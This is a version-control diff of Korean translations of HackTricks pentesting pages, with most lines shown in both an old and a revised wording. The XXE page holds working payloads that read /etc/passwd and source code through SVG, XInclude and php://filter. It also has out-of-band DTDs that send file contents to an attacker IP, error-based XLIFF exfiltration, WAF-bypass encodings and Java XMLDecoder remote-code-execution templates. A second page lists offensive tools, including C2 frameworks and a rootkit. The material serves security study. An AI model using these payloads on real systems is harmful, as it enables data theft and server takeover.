```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
|
||||
[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)에서 자세한 정보를 확인하세요!
|
||||
|
||||
### SVG - 파일 업로드
|
||||
|
||||
특정 응용 프로그램에 사용자가 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식에 취약점을 악용할 수 있습니다. 문서 (DOCX) 및 이미지 (SVG)와 같은 일반 파일 형식은 XML을 기반으로 합니다.
|
||||
|
||||
사용자가 **이미지를 업로드**하면, 이러한 이미지는 서버 측에서 처리되거나 유효성이 검사됩니다. PNG 또는 JPEG와 같은 형식을 예상하는 응용 프로그램의 경우에도 **서버의 이미지 처리 라이브러리가 SVG 이미지를 지원**할 수 있습니다. XML 기반 형식인 SVG는 공격자가 악의적인 SVG 이미지를 제출하여 서버를 XXE (XML External Entity) 취약점에 노출시킬 수 있습니다.
|
||||
사용자가 **이미지를 업로드**하면, 이러한 이미지는 서버 측에서 처리되거나 유효성이 검사됩니다. PNG 또는 JPEG와 같은 형식을 예상하는 응용 프로그램의 경우에도 **서버의 이미지 처리 라이브러리는 SVG 이미지도 지원**할 수 있습니다. XML 기반 형식인 SVG는 공격자가 악의적인 SVG 이미지를 제출하여 서버를 XXE (XML External Entity) 취약점에 노출시킬 수 있습니다.
|
||||
|
||||
다음은 악의적인 SVG 이미지가 시스템 파일을 읽으려고 시도하는 exploit의 예시입니다:
|
||||
다음은 악용 사례의 예시로, 악의적인 SVG 이미지가 시스템 파일을 읽으려고 시도하는 것을 보여줍니다:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
다른 방법은 PHP "expect" 래퍼를 통해 **명령을 실행**하려고 시도하는 것입니다:
|
||||
다른 방법은 PHP "expect" 래퍼를 통해 **명령을 실행**하려는 시도입니다:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
양쪽 모두 SVG 형식을 사용하여 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 실행하며, 견고한 입력 유효성 검사와 보안 조치의 필요성을 강조합니다.
|
||||
양쪽 모두 SVG 형식을 사용하여 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 실행하는데, 견고한 입력 유효성 검사와 보안 조치가 필요하다.
|
||||
|
||||
자세한 정보는 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)를 확인하세요!
|
||||
|
||||
**주의: 읽은 파일의 첫 줄 또는 실행 결과의 첫 줄이 생성된 이미지 안에 나타납니다. 따라서 SVG가 생성한 이미지에 액세스할 수 있어야 합니다.**
|
||||
**참고: 읽은 파일의 첫 줄 또는 실행 결과의 첫 줄이 생성된 이미지 안에 나타납니다. 따라서 SVG가 생성한 이미지에 액세스할 수 있어야 합니다.**
|
||||
|
||||
### **PDF - 파일 업로드**
|
||||
|
||||
다음 게시물을 읽어 **PDF 파일을 업로드하여 XXE를 악용하는 방법을 학습**하세요:
|
||||
다음 게시물을 읽어보고 **PDF 파일을 업로드하여 XXE를 악용하는 방법을 배워보세요**:
|
||||
|
||||
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
||||
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Content-Type: x-www-urlencoded에서 XML로
|
||||
### Content-Type: x-www-urlencoded에서 XML로 변경
|
||||
|
||||
POST 요청이 XML 형식의 데이터를 허용하는 경우 해당 요청에서 XXE를 악용할 수 있습니다. 예를 들어, 일반 요청에 다음 내용이 포함된다면:
|
||||
POST 요청이 XML 형식의 데이터를 허용하는 경우, 해당 요청에서 XXE를 악용해 볼 수 있습니다. 예를 들어, 일반 요청에 다음 내용이 포함된다면:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -362,7 +366,7 @@ Content-Length: 7
|
|||
|
||||
foo=bar
|
||||
```
|
||||
그러면 동일한 결과를 얻을 수 있는 다음 요청을 제출할 수 있습니다:
|
||||
그러면 동일한 결과를 얻을 수 있는 다음 요청을 제출할 수 있을 것입니다:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
|
@ -402,7 +406,7 @@ Content-Type: application/xml;charset=UTF-8
|
|||
```
|
||||
다른 예시는 [여기](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)에서 찾을 수 있습니다.
|
||||
|
||||
## WAF 및 보호 장치 우회
|
||||
## WAF 및 보호 기능 우회
|
||||
|
||||
### Base64
|
||||
```xml
|
||||
|
@ -432,7 +436,7 @@ Content-Type: application/xml;charset=UTF-8
|
|||
|
||||
### HTML 엔티티
|
||||
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)에서의 요령\
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)에서의 속임수\
|
||||
**HTML 엔티티**를 사용하여 **엔티티 내부에 엔티티**를 생성하고 **dtd를 로드**하기 위해 호출할 수 있습니다.\
|
||||
사용된 **HTML 엔티티**는 **숫자**여야 합니다(예: \[이 예시에서]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
||||
```xml
|
||||
|
@ -442,13 +446,6 @@ Content-Type: application/xml;charset=UTF-8
|
|||
</data>
|
||||
```
|
||||
DTD 예시:
|
||||
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
|
||||
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
|
||||
|
@ -487,7 +484,7 @@ DTD 예시:
|
|||
|
||||
이 예제는 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)에서 영감을 받았습니다.
|
||||
|
||||
XLIFF(XML Localization Interchange File Format)는 로컬라이제이션 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 주로 로컬라이제이션 도구 간에 로컬라이즈 가능한 데이터를 전송하거나 CAT(Computer-Aided Translation) 도구의 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
|
||||
XLIFF(XML Localization Interchange File Format)는 지역화 프로세스에서 데이터 교환을 표준화하는 데 사용됩니다. 주로 지역화 도구 간에 로컬라이즈 가능한 데이터를 전송하거나 CAT(Computer-Aided Translation) 도구의 공통 교환 형식으로 사용되는 XML 기반 형식입니다.
|
||||
|
||||
### Blind Request Analysis
|
||||
|
||||
|
@ -503,13 +500,13 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
그러나이 요청은 내부 서버 오류를 발생시키며 특히 마크업 선언에 문제가 있다고 언급합니다:
|
||||
그러나이 요청은 내부 서버 오류를 발생시키며 특히 마크업 선언에 문제가 있다고 명시했습니다:
|
||||
```json
|
||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||
```
|
||||
오류가 발생했지만 Burp Collaborator에 히트가 기록되어 외부 엔티티와의 상호 작용 수준이 일부 기록됩니다.
|
||||
오류가 발생했지만 Burp Collaborator에 히트가 기록되어 외부 엔티티와의 상호 작용 수준을 나타냅니다.
|
||||
|
||||
외부 밴드 데이터 유출 데이터를 유출하기 위해 수정된 요청이 전송됩니다:
|
||||
외부 데이터 유출을 위해 수정된 요청이 전송됩니다:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
|
@ -521,20 +518,20 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
이 접근 방식은 User Agent가 Java 1.8을 사용한다는 것을 나타냅니다. Java의 이 버전의 주목할 만한 한계는 /etc/passwd와 같은 새 줄 문자를 포함하는 파일을 Out of Band 기술을 사용하여 검색할 수 없다는 것입니다.
|
||||
이 접근 방식은 사용자 에이전트가 Java 1.8을 사용한다는 것을 나타냅니다. Java의 이 버전의 주목할 만한 제한 사항은 /etc/passwd와 같은 새 줄 문자를 포함하는 파일을 Out of Band 기술을 사용하여 검색할 수 없다는 것입니다.
|
||||
|
||||
에러 기반 데이터 유출 이 한계를 극복하기 위해 에러 기반 접근 방식이 사용됩니다. DTD 파일은 다음과 같이 구성되어 있어서 대상 파일에서 데이터를 포함하는 오류를 트리거합니다:
|
||||
오류 기반 데이터 유출 이 제한 사항을 극복하기 위해 오류 기반 접근 방식이 사용됩니다. DTD 파일은 다음과 같이 구성되어 있어서 대상 파일에서 데이터를 포함하는 오류를 유발합니다:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
서버는 오류로 응답하며, 존재하지 않는 파일을 반영하며 서버가 지정된 파일에 액세스하려고 시도하고 있음을 나타냅니다:
|
||||
서버는 오류로 응답하며 존재하지 않는 파일을 반영하므로 서버가 지정된 파일에 액세스하려고 시도하고 있음을 나타냅니다:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
에러 메시지에 파일 내용을 포함하려면 DTD 파일을 조정합니다:
|
||||
파일의 내용을 오류 메시지에 포함하려면 DTD 파일을 조정합니다:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
|
||||
|
@ -545,7 +542,7 @@ Content-Type: application/x-xliff+xml
|
|||
|
||||
## RSS - XEE
|
||||
|
||||
XXE 취약점을 악용하기 위한 RSS 형식의 유효한 XML.
|
||||
XXE 취약점을 악용하기 위한 유효한 XML 및 RSS 형식.
|
||||
|
||||
### Ping back
|
||||
|
||||
|
@ -572,19 +569,18 @@ XXE 취약점을 악용하기 위한 RSS 형식의 유효한 XML.
|
|||
```
|
||||
### 파일 읽기
|
||||
|
||||
To read a file using XXE, you can use the following XML payload:
|
||||
XML 외부 엔티티를 사용하여 파일을 읽을 수 있습니다. 다음은 예시입니다:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % dtd SYSTEM "http://your-website.com/evil.dtd">
|
||||
%dtd;
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<data>&send;</data>
|
||||
<root>
|
||||
<data>&xxe;</data>
|
||||
</root>
|
||||
```
|
||||
|
||||
This payload will read the `/etc/passwd` file from the target server.
|
||||
이 코드는 `/etc/passwd` 파일을 읽어와서 XML 응답에 포함시킬 수 있습니다.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -607,7 +603,7 @@ This payload will read the `/etc/passwd` file from the target server.
|
|||
```
|
||||
### 소스 코드 읽기
|
||||
|
||||
PHP base64 필터 사용하기
|
||||
PHP base64 필터 사용
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -630,7 +626,7 @@ PHP base64 필터 사용하기
|
|||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적 사용자가 응용 프로그램이 **readObject** 메소드 호출에 임의 데이터를 사용하도록 할 수 있다면, 즉시 서버에서 코드 실행을 얻을 수 있습니다.
|
||||
XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적인 사용자가 응용 프로그램이 **readObject** 메소드를 호출할 때 임의의 데이터를 사용하도록 할 수 있다면, 그 사용자는 즉시 서버에서 코드 실행 권한을 얻을 수 있습니다.
|
||||
|
||||
### Runtime().exec() 사용하기
|
||||
```xml
|
||||
|
@ -664,7 +660,7 @@ XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래
|
|||
```
|
||||
### ProcessBuilder
|
||||
|
||||
### ProcessBuilder
|
||||
### 프로세스빌더
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||||
|
@ -710,19 +706,19 @@ XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래
|
|||
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWS 해킹을 제로부터 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)**이나 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -53,7 +53,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
|
||||
* [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
|
||||
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
|
||||
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : 도메인 이름을 비동기적으로 브루트 포스
|
||||
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : 도메인 이름 비동기적으로 브루트 포스
|
||||
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : 서브도메인 브루트 포스
|
||||
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): 도메인의 웹 서버에 접근 가능한지 확인
|
||||
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : 서브도메인 발견
|
||||
|
@ -61,14 +61,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : 빠른 포트 스캐닝
|
||||
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : 웹의 JS 파일에서 서브도메인 및 URL
|
||||
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : 웹 파일 사전
|
||||
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : 수십 개의 반복 탭을 피하기 위한 BurpExtension
|
||||
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : 반복되는 탭을 피하기 위한 BurpExtension
|
||||
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : 자산 획득
|
||||
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google 도크
|
||||
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : 웹 버그 바운티 체크리스트
|
||||
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : 오픈 리다이렉션에 대한 도메인 목록 확인
|
||||
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : 도메인, 서브도메인 및 IP를 발견하기 위한 오프라인 분석을 수행하는 Burp 플러그인
|
||||
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): 다양한 도구 목록
|
||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : 취약점 (SQLi, XSS, SSTI) 찾기를 위한 BurpSuite 플러그인
|
||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : 취약점 (SQLi, XSS, SSTI)을 찾기 위한 BurpSuite 플러그인
|
||||
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : 포스트 메시지 기능을 추적하기 위한 크롬 확장 프로그램
|
||||
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : 자동 인증 테스트 (쿠키 제거 및 요청 전송 시도)
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross는 취약점 / BugBounty 테스트를 위한 재구성, 스캐너 및 도구입니다. 이 도구는 (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) 취약점을 테스트하기 위해 제작되었습니다
|
||||
|
@ -84,7 +84,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : 부모 PID 스푸핑
|
||||
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Powershell 페이로드 암호화
|
||||
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : 은밀한 C2
|
||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Windows 내부에 대한 일련의 로그
|
||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Windows 내부에 관한 일련의 로그
|
||||
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : 누가 문서를 열었는지 추적
|
||||
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Active Directory 치트 시트
|
||||
|
||||
|
@ -101,13 +101,13 @@ Post-crema:
|
|||
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
|
||||
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
|
||||
|
||||
Como extraer firmware si no lo encontramos online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||
만약 온라인에서 찾을 수 없다면 펌웨어를 추출하는 방법: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||
|
||||
Aqui un firware con vulnerabilidades para analizar: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
||||
여기에 취약점이 있는 펌웨어가 있어요: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
||||
|
||||
y por aqui la metodologia owasp para analizar firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
|
||||
그리고 여기에 펌웨어를 분석하기 위한 OWASP 방법론이 있습니다: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
|
||||
|
||||
Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a platform for automating the emulation and dynamic analysis of Linux-based firmware.
|
||||
펌웨어 에뮬레이션: FIRMADYNE (https://github.com/firmadyne/firmadyne/)은 리눅스 기반 펌웨어의 에뮬레이션과 동적 분석을 자동화하는 플랫폼입니다.
|
||||
|
||||
# OTHER
|
||||
|
||||
|
@ -118,21 +118,21 @@ Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a pla
|
|||
* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : 정적 코드 분석
|
||||
* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF
|
||||
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : 끝없는 배너를 천천히 보내는 SSH tarpit.
|
||||
* AWS and Cloud tools: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
|
||||
* IFS (Interplanetary File System) for phising: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
|
||||
* IP rotation services: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
|
||||
* Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
|
||||
* AWS 및 클라우드 도구: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
|
||||
* IFS (Interplanetary File System)를 이용한 피싱: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
|
||||
* IP 회전 서비스: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
|
||||
* Linux 루트킷: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
|
||||
* [https://theia-ide.org/](https://theia-ide.org) : 온라인 IDE
|
||||
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : BugBounties 시작을 위한 자료
|
||||
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS 펜테스팅 도구
|
||||
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : 키워드
|
||||
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : IoT 해킹 (Wifi, BLE, SSDP, MDNS)
|
||||
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : 스캔 자동화
|
||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : 이 목록은 Electron.js 보안 관련 주제를 다룹니다.
|
||||
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : BB 프로그램 정보
|
||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : 이 목록은 Electron.js 보안 관련 주제를 다루기 위한 것입니다.
|
||||
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : BB 프로그램에 관한 정보
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
